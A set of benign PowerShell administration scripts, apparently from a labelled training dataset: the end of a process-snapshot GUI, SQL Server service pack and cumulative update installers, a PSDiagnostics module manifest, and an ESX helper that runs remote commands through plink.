$sbStats = New-Object Windows.Forms.StatusBar # #mnuMain # $mnuMain.MenuItems.AddRange(@($mnuFile)) # #mnuFile # $mnuFile.MenuItems.AddRange(@($mnuExit)) $mnuFile.Text = "&File" # #mnuExit # $mnuExit.Shortcut = "CtrlX" $mnuExit.Text = "E&xit" $mnuExit.Add_Click({$frmAsms.Close()}) # #scSplit # $scSplit.Dock = "Fill" $scSplit.Panel1.Controls.Add($tvAssem) $scSplit.Panel2.Controls.Add($lstView) $scSplit.SplitterWidth = 1 # #tvAssem # $tvAssem.Dock = "Fill" $tvAssem.Sorted = $true $tvAssem.Add_BeforeExpand($tvAssem_BeforeExpand) $tvAssem.Add_BeforeSelect($tvAssem_BeforeSelect) # #lstView # $lstView.Columns.AddRange(@($chView1, $chView2)) $lstView.Dock = "Fill" $lstView.FullRowSelect = $true $lstView.MultiSelect = $false $lstView.ShowItemToolTips = $true $lstView.Sorting = "Ascending" $lstView.View = "Details" # #chView1 # $chView1.Text = "Name" $chView1.Width = 205 # #chView2 # $chView2.Text = "Property Value" $chView2.Width = 300 # #sbStats # $sbStats.SizingGrip = $false # #frmAsms # $frmAsms.ClientSize = New-Object Drawing.Size(790, 550) $frmAsms.Controls.AddRange(@($scSplit, $sbStats)) $frmAsms.FormBorderStyle = "FixedSingle" $frmAsms.Menu = $mnuMain $frmAsms.ShowInTaskbar = $false $frmAsms.StartPosition = "CenterParent" $frmAsms.Text = "Process Snapshot Loaded Assemblies" $frmAsms.Add_Load({Get-AssembliesTree}) [void]$frmAsms.ShowDialog() } ################################################################################################# $frmInfo_Load= { $ico = [Drawing.Icon]::ExtractAssociatedIcon($($PSHome + "\\powershell.exe")) $pbImage.Image = $ico.ToBitmap() } function frmInfo_Show { $frmInfo = New-Object Windows.Forms.Form $pbImage = New-Object Windows.Forms.PictureBox $lblName = New-Object Windows.Forms.Label $lblCopy = New-Object Windows.Forms.Label $btnExit = New-Object Windows.Forms.Button # #pbImage # $pbImage.Location = New-Object Drawing.Point(16, 16) $pbImage.Size = New-Object Drawing.Size(32, 32) $pbImage.SizeMode = "StretchImage" # #lblName # $lblName.Font = New-Object Drawing.Font("Microsoft Sans Serif", 9, [Drawing.FontStyle]::Bold) $lblName.Location = New-Object Drawing.Point(53, 19) $lblName.Size = New-Object Drawing.Size(360, 18) $lblName.Text = "Process Snapshot v1.00" # #lblCopy # $lblCopy.Location = New-Object Drawing.Point(67, 37) $lblCopy.Size = New-Object Drawing.Size(360, 23) $lblCopy.Text = "(C) 2013 greg zakharov gregzakh@gmail.com" # #btnExit # $btnExit.Location = New-Object Drawing.Point(135, 67) $btnExit.Text = "OK" # #frmInfo # $frmInfo.AcceptButton = $btnExit $frmInfo.CancelButton = $btnExit $frmInfo.ClientSize = New-Object Drawing.Size(350, 110) $frmInfo.ControlBox = $false $frmInfo.Controls.AddRange(@($pbImage, $lblName, $lblCopy, $btnExit)) $frmInfo.ShowInTaskBar = $false $frmInfo.StartPosition = "CenterParent" $frmInfo.Text = "About..." $frmInfo.Add_Load($frmInfo_Load) [void]$frmInfo.ShowDialog() } ################################################################################################# frmMain_Show
combined_dataset/train/non-malicious/2383.ps1
2383.ps1
function Install-SqlServerCumulativeUpdate { [CmdletBinding(SupportsShouldProcess)] param ( [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [string]$ComputerName, [Parameter(Mandatory, ParameterSetName = 'Number')] [ValidateNotNullOrEmpty()] [int]$Number, [Parameter(Mandatory, ParameterSetName = 'Latest')] [ValidateNotNullOrEmpty()] [switch]$Latest, [Parameter()] [ValidateNotNullOrEmpty()] [switch]$Restart ) process { try { if (Test-PendingReboot -ComputerName $ComputerName) { throw "The computer [$($ComputerName)] is pending a reboot. Reboot the computer before proceeding." } $currentVersion = Get-SQLServerVersion -ComputerName $ComputerName $arch = (Get-CimInstance -ComputerName $ComputerName -ClassName 'Win32_ComputerSystem' -Property 'SystemType').SystemType if ($arch -eq 'x64-based PC') { $arch = 'x64' } else { $arch = 'x86' } $params = @{ 'Architecture' = $arch 'SqlServerVersion' = $currentVersion.MajorVersion 'ServicePackNumber' = $currentVersion.ServicePack } if ($PSBoundParameters.ContainsKey('Number')) { $params.CumulativeUpdateNumber = $Number } elseif ($Latest.IsPresent) { $params.CumulativeUpdateNumber = (Get-LatestSqlServerCumulativeUpdateVersion -SqlServerVersion $currentVersion.MajorVersion -ServicePackNumber $currentVersion.ServicePack).CumulativeUpdate } if ($currentVersion.CumulativeUpdate -eq $params.CumulativeUpdateNumber) { throw "The computer [$($ComputerName)] already has the specified (or latest) cumulative update installed." } if (-not ($installer = Find-SqlServerCumulativeUpdateInstaller @params)) { throw "Could not find installer for cumulative update [$($params.CumulativeUpdateNumber)]" } if ($PSCmdlet.ShouldProcess($ComputerName, "Install cumulative update [$($installer.Name)] for SQL Server [$($currentVersion.MajorVersion)]")) { $invProgParams = @{ 'ComputerName' = $ComputerName 'Credential' = $Credential } $spExtractPath = 'C:\Windows\Temp\SQLCU' Invoke-Program @invProgParams -FilePath $installer.FullName -ArgumentList "/extract:`"$spExtractPath`" /quiet" Invoke-Program @invProgParams -FilePath "$spExtractPath\setup.exe" -ArgumentList '/quiet /allinstances' if ($Restart.IsPresent) { Restart-Computer -ComputerName $ComputerName -Wait -For WinRm -Force } } } catch { Write-Error -Message $_.Exception.Message } } } function TestSqlServerServicePack { [OutputType([bool])] [CmdletBinding()] param ( [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [string]$ComputerName, [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [int]$ServicePackNumber ) process { try { $currentVersion = Get-SQLServerVersion -ComputerName $ComputerName if ($currentVersion.ServicePack -lt $ServicePackNumber) { Write-Verbose -Message "The server [$($ComputerName)'s'] service pack [$($currentVersion.ServicePack)] is older than [$($ServicePackNumber)]" $false } else { Write-Verbose -Message "The server [$($ComputerName)'s'] service pack [$($currentVersion.ServicePack)] is newer or equal to [$($ServicePackNumber)]" $true } } catch { Write-Error -Message $_.Exception.Message } } } function Install-SqlServerServicePack { [OutputType([void])] [CmdletBinding(SupportsShouldProcess, DefaultParameterSetName = 'Latest')] param ( [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [string]$ComputerName, [Parameter(Mandatory, ParameterSetName = 'Number')] [ValidateNotNullOrEmpty()] [ValidateRange(1, 5)] [int]$Number, [Parameter(Mandatory, ParameterSetName = 'Latest')] [ValidateNotNullOrEmpty()] [switch]$Latest, [Parameter()] [ValidateNotNullOrEmpty()] [switch]$Restart ) process { try { $currentVersion = Get-SQLServerVersion -ComputerName $ComputerName if ($Latest.IsPresent) { $Number = (Get-LatestSqlServerServicePackVersion -SqlServerVersion $currentVersion.MajorVersion).ServicePack } $connParams = @{ 'ComputerName' = $ComputerName } Write-Verbose -Message "Installing SP on [$($ComputerName)]" $arch = (Get-CimInstance -ComputerName $ComputerName -ClassName 'Win32_ComputerSystem' -Property 'SystemType').SystemType if ($arch -eq 'x64-based PC') { $arch = 'x64' } else { $arch = 'x86' } $params = @{ 'Architecture' = $arch 'SqlServerVersion' = $currentVersion.MajorVersion 'Number' = $Number } if (TestSqlServerServicePack -ComputerName $ComputerName -ServicePackNumber $Number) { Write-Verbose -Message "The computer [$($ComputerName)] already has the specified (or latest) service pack installed." } else { if (-not ($installer = Find-SqlServerServicePackInstaller @params)) { throw "Could not find installer for service pack [$($Number)] for version [$($currentVersion.MajorVersion)]" } if (Test-PendingReboot @connParams) { throw "The computer [$($ComputerName)] is pending a reboot. Reboot the computer before proceeding." } if ($PSCmdlet.ShouldProcess($ComputerName, "Install service pack [$($installer.Name)] for SQL Server [$($currentVersion.MajorVersion)]")) { $spExtractPath = 'C:\Windows\Temp\SQLSP' Invoke-Program @connParams -FilePath $installer.FullName -ArgumentList "/extract:`"$spExtractPath`" /quiet" Invoke-Program @connParams -FilePath "$spExtractPath\setup.exe" -ArgumentList '/q /allinstances' if ($Restart.IsPresent) { Restart-Computer @connParams -Wait -Force } } } } catch { Write-Error -Message $_.Exception.Message } finally { if ((Test-Path -Path Variable:\spExtractPath) -and $spExtractPath) { Invoke-Command @connParams -ScriptBlock { Remove-Item -Path $using:spExtractPath -Recurse -Force -ErrorAction SilentlyContinue } } } } } function Get-SQLServerVersion { [CmdletBinding()] param ( [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [string]$ComputerName ) process { try { $sqlInstance = Get-SQLInstance -ComputerName $ComputerName if (-not $sqlInstance) { throw 'Server query failed.' } else { $currentVersion = ConvertTo-VersionObject -Version $sqlInstance.Version $currentVersion | Add-Member -Name 'Edition' -MemberType NoteProperty -Value $sqlInstance.Edition $currentVersion } } catch { Write-Error -Message $_.Exception.Message } } } function ConvertTo-VersionObject { [OutputType([System.Management.Automation.PSCustomObject])] [CmdletBinding()] param ( [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [version]$Version ) process { try { $impCsvParams = @{ 'Path' = "$PSScriptRoot\sqlversions.csv" } $filterScript = { $_.FullVersion -le "$($Version.Major).00.$($Version.Build)" } $selectParams = @{ 'Last' = 1 'Property' = '*', @{ Name = 'ServicePack'; Expression = { if ($_.ServicePack -eq 0) { $null } else { $_.ServicePack} } } 'ExcludeProperty' = 'ServicePack' } (Import-Csv @impCsvParams | Sort-Object FullVersion).Where($filterScript) | Select-Object @selectParams } catch { Write-Error -Message $_.Exception.Message } } } function Get-SQLInstance { [CmdletBinding()] param ( [Parameter(ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true)] [Alias('__Server', 'DNSHostName', 'IPAddress')] [string[]]$ComputerName = $Env:COMPUTERNAME, [Parameter()] [ValidateSet('SSDS', 'SSAS', 'SSRS')] [string[]]$Component = @('SSDS', 'SSAS', 'SSRS') ) begin { $componentNameMap = @( [pscustomobject]@{ ComponentName = 'SSAS'; DisplayName = 'Analysis Services'; RegKeyName = "OLAP"; }, [pscustomobject]@{ ComponentName = 'SSDS'; DisplayName = 'Database Engine'; RegKeyName = 'SQL'; }, [pscustomobject]@{ ComponentName = 'SSRS'; DisplayName = 'Reporting Services'; RegKeyName = 'RS'; } ); } process { foreach ($computer in $ComputerName) { try { $reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine', $computer); $baseKeys = "SOFTWARE\\Microsoft\\Microsoft SQL Server", "SOFTWARE\\Wow6432Node\\Microsoft\\Microsoft SQL Server"; if ($reg.OpenSubKey($baseKeys[0])) { $regPath = $baseKeys[0]; } elseif ($reg.OpenSubKey($baseKeys[1])) { $regPath = $baseKeys[1]; } else { continue; } $computer = $computer -replace '(.*?)\..+', '$1'; $regKey = $reg.OpenSubKey("$regPath"); if ($regKey.GetSubKeyNames() -contains "Instance Names") { foreach ($componentName in $Component) { $componentRegKeyName = $componentNameMap | Where-Object { $_.ComponentName -eq $componentName } | Select-Object -ExpandProperty RegKeyName; $regKey = $reg.OpenSubKey("$regPath\\Instance Names\\{0}" -f $componentRegKeyName); if ($regKey) { foreach ($regValueName in $regKey.GetValueNames()) { Get-SQLInstanceDetail -RegPath $regPath -Reg $reg -RegKey $regKey -Instance $regValueName; } } } } elseif ($regKey.GetValueNames() -contains 'InstalledInstances') { $isCluster = $false; $regKey.GetValue('InstalledInstances') | ForEach-Object { Get-SQLInstanceDetail -RegPath $regPath -Reg $reg -RegKey $regKey -Instance $_; }; } else { continue; } } catch { Write-Error ("{0}: {1}" -f $computer, $_.Exception.ToString()); } } } } function Get-SQLInstanceDetail { [CmdletBinding()] param ( [Parameter(Mandatory, ValueFromPipeline, ValueFromPipelineByPropertyName)] [string[]]$Instance, [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [Microsoft.Win32.RegistryKey]$RegKey, [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [Microsoft.Win32.RegistryKey]$reg, [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [string]$RegPath ) process { foreach ($sqlInstance in $Instance) { $nodes = New-Object System.Collections.ArrayList; $clusterName = $null; $isCluster = $false; $instanceValue = $regKey.GetValue($sqlInstance); $instanceReg = $reg.OpenSubKey("$regPath\\$instanceValue"); if ($instanceReg.GetSubKeyNames() -contains 'Cluster') { $isCluster = $true; $instanceRegCluster = $instanceReg.OpenSubKey('Cluster'); $clusterName = $instanceRegCluster.GetValue('ClusterName'); Write-Verbose -Message "Getting cluster node names"; $clusterReg = $reg.OpenSubKey("Cluster\\Nodes"); $clusterNodes = $clusterReg.GetSubKeyNames(); if ($clusterNodes) { foreach ($clusterNode in $clusterNodes) { $null = $nodes.Add($clusterReg.OpenSubKey($clusterNode).GetValue("NodeName").ToUpper()); } } } $instanceRegSetup = $instanceReg.OpenSubKey("Setup") try { $instanceDir = $instanceRegSetup.GetValue("SqlProgramDir"); if (([System.IO.Path]::GetPathRoot($instanceDir) -ne $instanceDir) -and $instanceDir.EndsWith("\")) { $instanceDir = $instanceDir.Substring(0, $instanceDir.Length - 1); } } catch { $instanceDir = $null; } try { $edition = $instanceRegSetup.GetValue("Edition"); } catch { $edition = $null; } try { $version = $instanceRegSetup.GetValue("Version"); if ($version.Split('.')[0] -eq '11') { $verKey = $reg.OpenSubKey('SOFTWARE\\Microsoft\\Microsoft SQL Server\\110\\SQLServer2012\\CurrentVersion') $version = $verKey.GetValue('Version') } elseif ($version.Split('.')[0] -eq '12') { $verKey = $reg.OpenSubKey('SOFTWARE\\Microsoft\\Microsoft SQL Server\\120\\SQLServer2014\\CurrentVersion') $version = $verKey.GetValue('Version') } } catch { $version = $null; } [pscustomobject]@{ ComputerName = $computer.ToUpper(); InstanceType = { $componentNameMap | Where-Object { $_.ComponentName -eq $componentName } | Select-Object -ExpandProperty DisplayName }.InvokeReturnAsIs(); InstanceName = $sqlInstance; InstanceID = $instanceValue; InstanceDir = $instanceDir; Edition = $edition; Version = $version; Caption = { switch -regex ($version) { "^11" { "SQL Server 2012"; break } "^10\.5" { "SQL Server 2008 R2"; break } "^10" { "SQL Server 2008"; break } "^9" { "SQL Server 2005"; break } "^8" { "SQL Server 2000"; break } default { "Unknown"; } } }.InvokeReturnAsIs(); IsCluster = $isCluster; IsClusterNode = ($nodes -contains $computer); ClusterName = $clusterName; ClusterNodes = ($nodes -ne $computer); FullName = { if ($sqlInstance -eq "MSSQLSERVER") { $computer.ToUpper(); } else { "$($computer.ToUpper())\$($sqlInstance)"; } }.InvokeReturnAsIs(); } } } } function Test-PendingReboot { [CmdletBinding()] param ( [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [string]$ComputerName, [Parameter()] [ValidateNotNullOrEmpty()] [pscredential]$Credential ) process { try { $icmParams = @{ 'ComputerName' = $ComputerName } if ($PSBoundParameters.ContainsKey('Credential')) { $icmParams.Credential = $Credential } $OperatingSystem = Get-CimInstance -ComputerName $ComputerName -ClassName Win32_OperatingSystem -Property BuildNumber, CSName If ($OperatingSystem.BuildNumber -ge 6001) { $PendingReboot = Invoke-Command @icmParams -ScriptBlock { Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing' -Name 'RebootPending' -ErrorAction SilentlyContinue } if ($PendingReboot) { Write-Verbose -Message 'Reboot pending detected in the Component Based Servicing registry key' return $true } } $PendingReboot = Invoke-Command @icmParams -ScriptBlock { Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update' -Name 'RebootRequired' -ErrorAction SilentlyContinue } if ($PendingReboot) { Write-Verbose -Message 'WUAU has a reboot pending' return $true } $PendingReboot = Invoke-Command @icmParams -ScriptBlock { Get-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager' -Name 'PendingFileRenameOperations' -ErrorAction SilentlyContinue } if ($PendingReboot -and $PendingReboot.PendingFileRenameOperations) { Write-Verbose -Message 'Reboot pending in the PendingFileRenameOperations registry value' return $true } } catch { Write-Error -Message $_.Exception.Message } } } function Find-SqlServerServicePackInstaller { [CmdletBinding(DefaultParameterSetName = 'Latest')] [OutputType('System.IO.FileInfo')] param ( [Parameter()] [ValidateNotNullOrEmpty()] [ValidateSet('2008R2', '2012', '2014')] [string]$SqlServerVersion, [Parameter(ParameterSetName = 'Specific')] [ValidateNotNullOrEmpty()] [ValidateRange(1, 5)] [int]$Number, [Parameter()] [ValidateNotNullOrEmpty()] [ValidateSet('x86', 'x64')] [string]$Architecture = 'x64', [Parameter(ParameterSetName = 'Latest')] [ValidateNotNullOrEmpty()] [switch]$Latest, [Parameter()] [ValidateNotNullOrEmpty()] [string]$SqlServerInstallerBasePath = '\\SOme\unc\path\here' ) process { try { $servicePacks = Get-ChildItem -Path $SqlServerInstallerBasePath | Where-Object { $_.Name -match '^\d{4}' } | Get-ChildItem -Filter 'Updates' | Get-ChildItem -Filter 'SQLServer*-SP?-*.exe' if ($PSBoundParameters.ContainsKey('SqlServerVersion')) { $filter = 'SQLServer{0}' -f $SqlServerVersion } if ($PSBoundParameters.ContainsKey('Number')) { $filter += '-SP{0}-' -f $Number } if ($PSBoundParameters.ContainsKey('Architecture')) { $filter += '(.+)?{0}\.exe$' -f $Architecture } Write-Verbose -Message "Using filter [$($filter)]..." if ($filter) { $servicePacks = @($servicePacks).Where{ $_.Name -match $filter } } if ($Latest.IsPresent) { $servicePacks | Sort-Object { $_.Name } -Descending | Select-Object -First 1 } else { $servicePacks } } catch { Write-Error -Message $_.Exception.Message } } } function Find-SqlServerCumulativeUpdateInstaller { [CmdletBinding(DefaultParameterSetName = 'Latest')] [OutputType('System.IO.FileInfo')] param ( [Parameter()] [ValidateNotNullOrEmpty()] [ValidateSet('2008R2', '2012', '2014')] [string]$SqlServerVersion, [Parameter()] [ValidateNotNullOrEmpty()] [ValidateRange(1, 5)] [int]$ServicePackNumber, [Parameter(ParameterSetName = 'Specific')] [ValidateNotNullOrEmpty()] [int]$CumulativeUpdateNumber, [Parameter()] [ValidateNotNullOrEmpty()] [ValidateSet('x86', 'x64')] [string]$Architecture = 'x64', [Parameter(ParameterSetName = 'Latest')] [ValidateNotNullOrEmpty()] [switch]$Latest, [Parameter()] [ValidateNotNullOrEmpty()] [string]$SqlServerInstallerBasePath = '\\some\unc\path\here' ) process { try { $cumulUpdates = Get-ChildItem -Path $SqlServerInstallerBasePath | Where-Object { $_.Name -match '^\d{4}' } | Get-ChildItem -Filter 'Updates' | Get-ChildItem -Filter 'SQLServer*-SP?CU*.exe' if ($PSBoundParameters.ContainsKey('SqlServerVersion')) { $filter = 'SQLServer{0}' -f $SqlServerVersion } if ($PSBoundParameters.ContainsKey('ServicePackNumber')) { $filter += '-SP{0}' -f $ServicePackNumber } if ($PSBoundParameters.ContainsKey('CumulativeUpdateNumber')) { $filter += 'CU{0}.+' -f ([string]$CumulativeUpdateNumber).PadLeft(2, '0') } if ($PSBoundParameters.ContainsKey('Architecture')) { $filter += '(.+)?{0}\.exe$' -f $Architecture } Write-Verbose -Message "Using filter [$($filter)]..." if (-not $filter) { $cumulUpdates } else { @($cumulUpdates).Where{ $_.Name -match $filter } } } catch { Write-Error -Message $_.Exception.Message } } } function Get-LatestSqlServerCumulativeUpdateVersion { [OutputType([pscustomobject])] [CmdletBinding()] param ( [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [ValidateSet('2008R2', '2012', '2014')] [string]$SqlServerVersion, [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [ValidateRange(1, 5)] [int]$ServicePackNumber ) process { try { (Import-Csv -Path "$PSScriptRoot\sqlversions.csv").where({ $_.MajorVersion -eq $SqlServerVersion -and $_.ServicePack -eq $ServicePackNumber }) | sort-object { [int]$_.cumulativeupdate } -Descending | Select-Object -first 1 } catch { Write-Error -Message $_.Exception.Message } } } function Get-LatestSqlServerServicePackVersion { [OutputType([pscustomobject])] [CmdletBinding()] param ( [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [ValidateSet('2008R2', '2012', '2014')] [string]$SqlServerVersion ) process { try { (Import-Csv -Path "$PSScriptRoot\sqlversions.csv").where({ $_.MajorVersion -eq $SqlServerVersion }) | sort-object servicepack -Descending | Select-Object -first 1 } catch { Write-Error -Message $_.Exception.Message } } } function Update-SqlServer { [CmdletBinding()] param ( [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [string]$ComputerName, [Parameter()] [ValidateNotNullOrEmpty()] [ValidateSet(1, 2, 3, 4, 5, 'Latest')] [string]$ServicePack = 'Latest', [Parameter()] [ValidateNotNullOrEmpty()] [ValidateSet(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 'Latest')] [string]$CumulativeUpdate = 'Latest', [Parameter()] [ValidateNotNullOrEmpty()] [pscredential]$Credential ) process { try { $spParams = @{ 'ComputerName' = $ComputerName 'Restart' = $true } if ($ServicePack -eq 'Latest') { $spParams.Latest = $true } else { $spParams.Number = $ServicePack } Install-SqlServerServicePack @spParams $cuParams = @{ 'ComputerName' = $ComputerName 'Restart' = $true } if ($CumulativeUpdate -eq 'Latest') { $cuParams.Latest = $true } else { $cuParams.Number = $CumulativeUpdate } Install-SqlServerCumulativeUpdate @cuParams } catch { Write-Error -Message $_.Exception.Message } } } function Invoke-Program { [CmdletBinding()] [OutputType([System.Management.Automation.PSObject])] param ( [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [string]$FilePath, [Parameter()] [string]$ComputerName = 'localhost', [Parameter()] [pscredential]$Credential, [Parameter()] [ValidateNotNullOrEmpty()] [string]$ArgumentList, [Parameter()] [bool]$ExpandStrings = $false, [Parameter()] [ValidateNotNullOrEmpty()] [string]$WorkingDirectory, [Parameter()] [ValidateNotNullOrEmpty()] [uint32[]]$SuccessReturnCodes = @(0, 3010) ) process { try { $null = Clear-DNSClientCache; $icmParams = @{ ComputerName = $ComputerName; } $icmParams.Authentication = 'CredSSP' if ($PSBoundParameters.ContainsKey('Credential')) { $icmParams.Credential = $Credential } Write-Verbose -Message "Acceptable success return codes are [$($SuccessReturnCodes -join ',')]" $icmParams.ScriptBlock = { $VerbosePreference = $using:VerbosePreference try { $processStartInfo = New-Object System.Diagnostics.ProcessStartInfo; $processStartInfo.FileName = $Using:FilePath; if ($Using:ArgumentList) { $processStartInfo.Arguments = $Using:ArgumentList; if ($Using:ExpandStrings) { $processStartInfo.Arguments = $ExecutionContext.InvokeCommand.ExpandString($Using:ArgumentList); } } if ($Using:WorkingDirectory) { $processStartInfo.WorkingDirectory = $Using:WorkingDirectory; if ($Using:ExpandStrings) { $processStartInfo.WorkingDirectory = $ExecutionContext.InvokeCommand.ExpandString($Using:WorkingDirectory); } } $processStartInfo.UseShellExecute = $false; $ps = New-Object System.Diagnostics.Process; $ps.StartInfo = $processStartInfo; Write-Verbose -Message "Starting process path [$($processStartInfo.FileName)] - Args: [$($processStartInfo.Arguments)] - Working dir: [$($Using:WorkingDirectory)]" $null = $ps.Start(); $ps.WaitForExit(); if ($ps.ExitCode -notin $Using:SuccessReturnCodes) { throw "Error running program: $($ps.ExitCode)"; } } catch { Write-Error $_.Exception.ToString(); } } Write-Verbose -Message "Running command line [$FilePath $ArgumentList] on $ComputerName"; $params = @{ 'ComputerName' = $ComputerName 'Credential' = $Credential } $result = Invoke-Command @icmParams if ($err) { throw $err; } } catch { Write-Error -Message $_.Exception.Message } } }
combined_dataset/train/non-malicious/sample_56_31.ps1
sample_56_31.ps1
@{ GUID="c61d6278-02a3-4618-ae37-a524d40a7f44 " Author="PowerShell" CompanyName="Microsoft Corporation" Copyright="Copyright (c) Microsoft Corporation." ModuleVersion="7.0.0.0" CompatiblePSEditions = @("Core") PowerShellVersion="3.0" ModuleToProcess="PSDiagnostics.psm1" FunctionsToExport="Disable-PSTrace","Disable-PSWSManCombinedTrace","Disable-WSManTrace","Enable-PSTrace","Enable-PSWSManCombinedTrace","Enable-WSManTrace","Get-LogProperties","Set-LogProperties","Start-Trace","Stop-Trace" CmdletsToExport = @() AliasesToExport = @() HelpInfoUri="https://aka.ms/powershell73-help" } # SIG # Begin signature block # MIInvwYJKoZIhv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ucIZkOJCI9/ # /zCBmDCBgKR+MHwxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAw # DgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24x # JjAkBgNVBAMTHU1pY3Jvc29mdCBUaW1lLVN0YW1wIFBDQSAyMDEwAhMzAAAB4pmZ # lfHc4yDrAAEAAAHiMCIEIKZ+4ojuxBjgaf7ALe4oo0ZTe3gN9izo607gCOf34rWc # MA0GCSqGSIb3DQEBCwUABIICAFHVPwZ2dBtg4Wy8WPoC9UFV9q7KDblcEXTdjby1 # B8xTZi/1vhbj/caHJlRYnok+9AoNMSOiLnsq+iAd9mwr69uXKqgRfYjq4HYVdRH6 # r53mwldKZgdyQr/SLxqwVqIAniLKUm6gPJaQhDPuDR6tIbve0cQquzW3DsLp8n+y # /2s1fkrHVRh6zwYPNmt8GKtEvKPyYeAH5WHcMK0SwRPLryS+IrsdSm37B/Cwa+Pi # cgPV1916lf+lTiGdFO7ePbQf2HtslJmrSuTII6UJdl55pip/ys4PRHeswoqUeWua # KTjd7taoLj4SQ4NILN9jahDBsk4FME5CT4V4dqmtu+A0ygjLcTuxcVcCfxEiztqW # mgczC7T/fEEkLcHtedrsI3cLhgceUiqV1LHr2MdmcjHHUEbOPPIFtJ8picWmZJpP # i7izdhDBtIJpSPYJIQJprTu9WOMfrEct94coQZauxv6I8eF9VFxpXCtl2umFZ0tG # 9kLIz8igxvYWREZ5iCynbjFH2AMnakesGcDRY/MV70FUzWspQHdqFOgZcxO4OBnP # QgYKGmwvsuPZskglwYDOYDKsUCdTDjlgGZRenNq4b4L57KEPtYlb+qQSF/hKr73g # /w8pbCaWX4uzAKJqDBcrMM7VDO5YEz1rrn2MUR032JZ0I6zBug52kE+bkDsqfB88 # YIUK # SIG # End signature block
combined_dataset/train/non-malicious/Invoke-VMCommand.ps1
Invoke-VMCommand.ps1
# Invoke-VMCommand.ps1 # Purpose : Run a remote command and return the results # Requirements: plink.exe from the Putty project must be in $env:path # Use -help parameter for instructions Param ( $VMHost, $username, $Command, [switch]$Help, [switch]$Verbose ) # Obtains list of VMX (config files) corresponding to each VM on a given ESX server function GetVMX ($user, $pass, $srv) { $cmd = "plink.exe $user@$srv -pw $pass" $cmd += " vmware-cmd -l" Write-Verbose "Command line: $cmd" $VMList = Invoke-Expression $cmd $collOut = @() $VmList | ForEach-Object { $objOut = "" | Select-Object VmHost, VmName, VMXpath, HasSnapshot # create our output object with desired properties $objOut.VmHost = $srv $objOut.VMXpath = $_ $objOut.VmName = (Split-Path $_ -Leaf) -replace ".vmx$" $collOut += $objOut } $collOut } function Get-ESXProcess($user, $pass, $srv){ $cmd = "plink.exe -t $user@$srv -pw $pass " $cmd += "`"ps -Af | grep `'`'`"" Write-Verbose "Command line: $cmd" $results = invoke-Expression $cmd $colObj = @() foreach($result in $results) { if($result -match "^UID"){continue} $myobj = "" | Select-Object UID,PID,PPID,C,STIME,TTY,TIME,CMD $ary = $result.split([string[]]" ",[System.StringSplitOptions]::RemoveEmptyEntries) $myobj.UID = $ary[0] $myobj.PID = $ary[1] $myobj.PPID = $ary[2] $myobj.C = $ary[3] $myobj.STIME = $ary[4] $myobj.TTY = $ary[5] $myobj.Time = $ary[6] $proc = $null write-verbose "Length: $($ary.Length)" for($i = 7;$i -le $ary.Length;$i++) { $proc = "$proc $($ary[$i])" write-Verbose "Adding [$i] $($ary[$i])" } Write-Verbose "COMMAND = $proc" $myobj.CMD = $proc $colObj += $myobj } $colObj } function Kill-Process{ Param($User,$Pass,$Srv,$killcmd) $cmd = "plink.exe -t $user@$srv -pw $pass " $killme = $killcmd.split(":")[1] Write-Verbose " - $killcmd" Write-Verbose " - $killme" if($killme -notmatch "^\\d") { $vmprocess = Get-ESXProcess $User $Pass $Srv | where{$_.Cmd -match $killme} $vmpid = $vmprocess.pid } else { $vmpid = $killme } $cmd += "`"kill -9 $vmpid`'`'`"" $results = invoke-Expression $cmd $results } function RunVMCommand ($user, $pass, $srv, $vmcmd) { $cmd = "plink.exe $user@$srv -pw $pass " $cmd += "`"$vmcmd | grep `'`'`"" Write-Verbose "Command line: $cmd" invoke-Expression $cmd } function GetSecurePass ($SecurePassword) { $Ptr = [System.Runtime.InteropServices.Marshal]::SecureStringToCoTaskMemUnicode($SecurePassword) $password = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($Ptr) [System.Runtime.InteropServices.Marshal]::ZeroFreeCoTaskMemUnicode($Ptr) $password } # Returns help text function ShowUsage { $helptext = @" Invoke-VMCommand Requirements: plink.exe from the Putty project must be in your Path INPUT: VMHost : name or IP of ESX server(s) (REQUIRED) UserName : User to ssh With (REQUIRED) Command : Command to Run. This can be a GetVMX, PSList, Kill:<PID/VMName>, or a Custome String (REQUIRED) Help : shows usage "@ Write-Host $helptext } # Main if ($help) { ShowUsage; exit; } if ($verbose) { $verbosepreference = "continue" } $password = (Read-Host "Enter Password" -AsSecureString) if($Command -eq "GetVMX"){GetVMX $username (GetSecurePass $password) $VMHost} elseif($command -eq "PSList"){Get-ESXProcess $username (GetSecurePass $password) $VMHost} elseif($command -match "^KILL"){Kill-Process $username (GetSecurePass $password) $VMHost $command} else{RunVMCommand $username (GetSecurePass $password) $VMHost $Command}
combined_dataset/train/non-malicious/sample_49_69.ps1
sample_49_69.ps1
